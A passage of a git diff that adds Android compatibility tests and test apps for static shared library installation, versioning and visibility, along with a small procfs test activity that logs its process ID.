+                    STATIC_LIB_CONSUMER1_APK), false, false));
+            // Ensure the client can see only the lib it depends on
+            runDeviceTests(STATIC_LIB_CONSUMER1_PKG,
+                    "android.os.lib.consumer1.UseSharedLibraryTest",
+                    "testAppCanSeeOnlyLibrariesItDependOn");
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        }
+    }
+
+    public void testLoadCodeFromNativeLib() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_NATIVE_CONSUMER_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_NATIVE_PROVIDER_PKG);
+        try {
+            // Install library
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_NATIVE_PROVIDER_APK), false, false));
+            // Install the library client
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_NATIVE_CONSUMER_APK), false, false));
+            // Ensure the client can load native code from the library
+            runDeviceTests(STATIC_LIB_NATIVE_CONSUMER_PKG,
+                    "android.os.lib.consumer.UseSharedLibraryTest",
+                    "testLoadNativeCode");
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_NATIVE_CONSUMER_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_NATIVE_PROVIDER_PKG);
+        }
+    }
+
+    public void testLoadCodeFromNativeLibMultiArchViolation() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_NATIVE_PROVIDER_PKG1);
+        try {
+            // Cannot install the library with native code if not multi-arch
+            assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_NATIVE_PROVIDER_APK1), false, false));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_NATIVE_PROVIDER_PKG1);
+        }
+    }
+
+    private void runDeviceTests(String packageName, String testClassName,
+            String testMethodName) throws DeviceNotAvailableException {
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
+                ANDROID_JUNIT_RUNNER_CLASS, getDevice().getIDevice());
+        testRunner.setMethodName(testClassName, testMethodName);
+        CollectingTestListener listener = new CollectingTestListener();
+
+        getDevice().runInstrumentationTests(testRunner, listener);
+
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new AssertionError("Failed to successfully run device tests for "
+                    + result.getName() + ": " + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new AssertionError("No tests were run on the device");
+        }
+        if (result.hasFailedTests()) {
+            // build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("on-device tests failed:\n");
+            for (Map.Entry<TestIdentifier, TestResult> resultEntry :
+                    result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(TestResult.TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+    }
+}
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
new file mode 100644
index 0000000..f7b98c3
--- /dev/null
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
@@ -0,0 +1,31 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsHostProcfsTestApp
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/ProcfsTestApp/AndroidManifest.xml
new file mode 100755
index 0000000..8a7463a
--- /dev/null
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.procfs">
+
+    <application>
+        <activity android:name=".ProcfsTest"
+                android:exported="true" />
+    </application>
+</manifest>
+
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/src/android/os/procfs/ProcfsTest.java b/hostsidetests/os/test-apps/ProcfsTestApp/src/android/os/procfs/ProcfsTest.java
new file mode 100644
index 0000000..bf4a873
--- /dev/null
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/src/android/os/procfs/ProcfsTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.procfs;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+public class ProcfsTest extends Activity {
+  private static final String TAG = ProcfsTest.class.getSimpleName();
+
+  @Override
+  public void onCreate(Bundle icicle) {
+    super.onCreate(icicle);
+    // Log pid to Logcat so the test knows who we are.
+    int pid = android.os.Process.myPid();
+    Log.i(TAG, "PID is " + pid);
+  }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
new file mode 100644
index 0000000..a333d42
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    compatibility-device-util
+
+LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp1
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp1
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml
new file mode 100755
index 0000000..cbeb342
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.consumer1"
+        android:versionCode="1"
+        android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
+
+    <application>
+        <uses-static-library
+                android:name="foo.bar.lib"
+                android:version="1"
+                android:certDigest="E4:95:82:FF:3A:0A:A4:C5:58:9F:C5:FE:AA:C6:B7:D6:E7:57:19:9D:D0:C6:74:2D:F7:BF:37:C2:FF:EF:95:F5">
+        </uses-static-library>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.os.lib.consumer1"/>
+
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
new file mode 100644
index 0000000..9ca8a95
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.consumer1;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.AppOpsManager;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.SharedLibraryInfo;
+import android.content.pm.VersionedPackage;
+import android.os.Debug;
+import android.os.lib.provider.StaticSharedLib;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+@RunWith(AndroidJUnit4.class)
+public class UseSharedLibraryTest {
+    private static final String LIB_NAME = "foo.bar.lib";
+    private static final String RECURSIVE_LIB_NAME = "foo.bar.lib.recursive";
+    private static final String RECURSIVE_LIB_PROVIDER_NAME = "android.os.lib.provider.recursive";
+    private static final String PLATFORM_PACKAGE = "android";
+
+    private static final String STATIC_LIB_PROVIDER_PKG = "android.os.lib.provider";
+    private static final String STATIC_LIB_CONSUMER1_PKG = "android.os.lib.consumer1";
+    private static final String STATIC_LIB_CONSUMER2_PKG = "android.os.lib.consumer2";
+
+    @Test
+    public void testLoadCodeAndResources() throws Exception {
+        assertSame(1, StaticSharedLib.getVersion(InstrumentationRegistry.getContext()));
+    }
+
+    @Test
+    public void testSharedLibrariesProperlyReported() throws Exception {
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), "appops set "
+                + InstrumentationRegistry.getInstrumentation().getContext().getPackageName()
+                + " " + AppOpsManager.OP_REQUEST_INSTALL_PACKAGES + " " + "allow");
+
+        try {
+            List<SharedLibraryInfo> sharedLibs = InstrumentationRegistry.getContext()
+                    .getPackageManager().getSharedLibraries(0);
+
+            assertNotNull(sharedLibs);
+
+            boolean firstLibFound = false;
+            boolean secondLibFound = false;
+            boolean thirdLibFound = false;
+            boolean fourthLibFound = false;
+
+            for (SharedLibraryInfo sharedLib : sharedLibs) {
+                assertNotNull(sharedLib.getName());
+
+                int typeCount = 0;
+                typeCount += sharedLib.isBuiltin() ? 1 : 0;
+                typeCount += sharedLib.isDynamic() ? 1 : 0;
+                typeCount += sharedLib.isStatic() ? 1 : 0;
+
+                if (typeCount != 1) {
+                    fail("Library " + sharedLib.getName()
+                            + " must be either builtin or dynamic or static");
+                }
+
+                if (sharedLib.isBuiltin()) {
+                    assertSame(SharedLibraryInfo.VERSION_UNDEFINED, sharedLib.getVersion());
+                    VersionedPackage declaringPackage = sharedLib.getDeclaringPackage();
+                    assertEquals(PLATFORM_PACKAGE, declaringPackage.getPackageName());
+                    assertSame(0, declaringPackage.getVersionCode());
+                }
+
+                if (sharedLib.isDynamic()) {
+                    assertSame(SharedLibraryInfo.VERSION_UNDEFINED, sharedLib.getVersion());
+                    VersionedPackage declaringPackage = sharedLib.getDeclaringPackage();
+                    assertNotNull(declaringPackage.getPackageName());
+                    assertTrue(declaringPackage.getVersionCode() >= 0);
+                }
+
+                if (sharedLib.isStatic()) {
+                    assertTrue(sharedLib.getVersion() >= 0);
+                    VersionedPackage declaringPackage = sharedLib.getDeclaringPackage();
+                    assertNotNull(declaringPackage.getPackageName());
+                    assertTrue(declaringPackage.getVersionCode() >= 0);
+                }
+
+                boolean validLibName = false;
+                if (LIB_NAME.equals(sharedLib.getName())) {
+                    VersionedPackage declaringPackage = sharedLib.getDeclaringPackage();
+                    assertEquals(STATIC_LIB_PROVIDER_PKG, declaringPackage.getPackageName());
+                    validLibName = true;
+                }
+                if (RECURSIVE_LIB_NAME.equals(sharedLib.getName())) {
+                    VersionedPackage declaringPackage = sharedLib.getDeclaringPackage();
+                    assertEquals(RECURSIVE_LIB_PROVIDER_NAME, declaringPackage.getPackageName());
+                    validLibName = true;
+                }
+
+                if (validLibName) {
+                    assertTrue(sharedLib.isStatic());
+
+                    VersionedPackage declaringPackage = sharedLib.getDeclaringPackage();
+                    List<VersionedPackage> dependentPackages = sharedLib.getDependentPackages();
+
+                    switch (sharedLib.getVersion()) {
+                        case 1: {
+                            firstLibFound = true;
+                            assertSame(1, declaringPackage.getVersionCode());
+                            assertSame(1, dependentPackages.size());
+                            VersionedPackage dependentPackage = dependentPackages.get(0);
+                            assertEquals(STATIC_LIB_CONSUMER1_PKG, dependentPackage.getPackageName());
+                            assertSame(1, dependentPackage.getVersionCode());
+                        }
+                        break;
+
+                        case 2: {
+                            secondLibFound = true;
+                            assertSame(4, declaringPackage.getVersionCode());
+                            assertTrue(dependentPackages.isEmpty());
+                        }
+                        break;
+
+                        case 5: {
+                            thirdLibFound = true;
+                            assertSame(5, declaringPackage.getVersionCode());
+                            assertSame(1, dependentPackages.size());
+                            VersionedPackage dependentPackage = dependentPackages.get(0);
+                            assertEquals(STATIC_LIB_CONSUMER2_PKG, dependentPackage.getPackageName());
+                            assertSame(2, dependentPackage.getVersionCode());
+                        }
+                        break;
+
+                        case 6: {
+                            fourthLibFound = true;
+                            assertSame(1, declaringPackage.getVersionCode());
+                            assertSame(1, dependentPackages.size());
+                            VersionedPackage dependentPackage = dependentPackages.get(0);
+                            assertEquals(STATIC_LIB_PROVIDER_PKG, dependentPackage.getPackageName());
+                            assertSame(1, dependentPackage.getVersionCode());
+                        }
+                        break;
+                    }
+                }
+            }
+
+            assertTrue("Did not find lib " + LIB_NAME + " version 1", firstLibFound);
+            assertTrue("Did not find lib " + LIB_NAME + " version 4", secondLibFound);
+            assertTrue("Did not find lib " + LIB_NAME + " version 5", thirdLibFound);
+            assertTrue("Did not find lib " + RECURSIVE_LIB_NAME + " version 6", fourthLibFound);
+        } finally {
+            SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), "appops set "
+                    + InstrumentationRegistry.getInstrumentation().getContext().getPackageName()
+                    + " " + AppOpsManager.OP_REQUEST_INSTALL_PACKAGES + " " + "default");
+        }
+    }
+
+    @Test
+    public void testAppCanSeeOnlyLibrariesItDependOn() throws Exception {
+        // Make sure we see only the lib we depend on via getting its package info
+        PackageInfo libPackageInfo = InstrumentationRegistry.getInstrumentation()
+                .getContext().getPackageManager().getPackageInfo(STATIC_LIB_PROVIDER_PKG, 0);
+        assertEquals(STATIC_LIB_PROVIDER_PKG, libPackageInfo.packageName);
+        assertSame(1, libPackageInfo.versionCode);
+
+        // Make sure we see the lib we depend on via getting installed packages
+        List<PackageInfo> installedPackages = InstrumentationRegistry.getInstrumentation()
+                .getContext().getPackageManager().getInstalledPackages(0);
+        int usedLibraryVersionCode = -1;
+        for (PackageInfo installedPackage : installedPackages) {
+            if (STATIC_LIB_PROVIDER_PKG.equals(installedPackage.packageName)) {
+                if (usedLibraryVersionCode != -1) {
+                    fail("Should see only the lib it depends on");
+                }
+                usedLibraryVersionCode = installedPackage.applicationInfo.versionCode;
+            }
+        }
+        assertSame(1, usedLibraryVersionCode);
+
+        // Make sure we see only the lib we depend on via getting its app info
+        ApplicationInfo appInfo = InstrumentationRegistry.getInstrumentation()
+                .getContext().getPackageManager().getApplicationInfo(STATIC_LIB_PROVIDER_PKG, 0);
+        assertEquals(STATIC_LIB_PROVIDER_PKG, appInfo.packageName);
+        assertSame(1, libPackageInfo.versionCode);
+
+        // Make sure we see the lib we depend on via getting installed apps
+        List<ApplicationInfo> installedApps = InstrumentationRegistry.getInstrumentation()
+                .getContext().getPackageManager().getInstalledApplications(0);
+        usedLibraryVersionCode = -1;
+        for (ApplicationInfo installedApp : installedApps) {
+            if (STATIC_LIB_PROVIDER_PKG.equals(installedApp.packageName)) {
+                if (usedLibraryVersionCode != -1) {
+                    fail("Should see only the lib it depends on");
+                }
+                usedLibraryVersionCode = installedApp.versionCode;
+            }
+        }
+        assertSame(1, usedLibraryVersionCode);
+    }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
new file mode 100644
index 0000000..9c2efaf
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp4
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp2
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml
new file mode 100755
index 0000000..ae2527b
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.consumer2"
+        android:versionCode="2"
+        android:versionName="3.0">
+
+    <application>
+        <uses-static-library
+                android:name="foo.bar.lib"
+                android:version="5"
+                android:certDigest="70:FB:D4:40:50:3E:C0:BF:41:F3:F2:1F:CC:83:FF:D3:98:80:13:3C:27:DE:B0:94:5E:D6:77:C6:F3:1D:72:FB">
+        </uses-static-library>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.os.lib.consumer2"/>
+
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/src/android/os/lib/consumer2/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/src/android/os/lib/consumer2/UseSharedLibraryTest.java
new file mode 100644
index 0000000..4e9a347
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/src/android/os/lib/consumer2/UseSharedLibraryTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.consumer2;
+
+import android.os.lib.provider.StaticSharedLib;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertSame;
+
+@RunWith(AndroidJUnit4.class)
+public class UseSharedLibraryTest {
+    @Test
+    public void testLoadCodeAndResources() throws Exception {
+        assertSame(5, StaticSharedLib.getVersion(InstrumentationRegistry.getContext()));
+    }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
new file mode 100644
index 0000000..8a46932
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
@@ -0,0 +1,39 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp1
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderRecursive
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/AndroidManifest.xml
new file mode 100755
index 0000000..ae1d859
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.provider"
+        android:versionCode="1"
+        android:versionName="1.0">
+
+    <application>
+        <uses-static-library
+                android:name="foo.bar.lib.recursive"
+                android:version="6"
+                android:certDigest="E4:95:82:FF:3A:0A:A4:C5:58:9F:C5:FE:AA:C6:B7:D6:E7:57:19:9D:D0:C6:74:2D:F7:BF:37:C2:FF:EF:95:F5">
+        </uses-static-library>
+
+        <static-library android:name="foo.bar.lib" android:version="1"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/res/values/integers.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/res/values/integers.xml
new file mode 100644
index 0000000..b7ac264
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/res/values/integers.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <integer name="version">1</integer>
+</resources>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/src/android/os/lib/provider/StaticSharedLib.java b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/src/android/os/lib/provider/StaticSharedLib.java
new file mode 100644
index 0000000..816aeee
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/src/android/os/lib/provider/StaticSharedLib.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.provider;
+
+import android.content.Context;
+import android.os.lib.provider.recursive.StaticSharedLibRecursive;
+
+public class StaticSharedLib {
+    public static int getVersion(Context context) {
+        return Math.min(StaticSharedLibRecursive.getVersionRecursive(context),
+                context.getResources().getInteger(android.os.lib.provider.R.integer.version));
+    }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
new file mode 100644
index 0000000..41d1eec
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp2
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/AndroidManifest.xml
new file mode 100755
index 0000000..0235a46
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
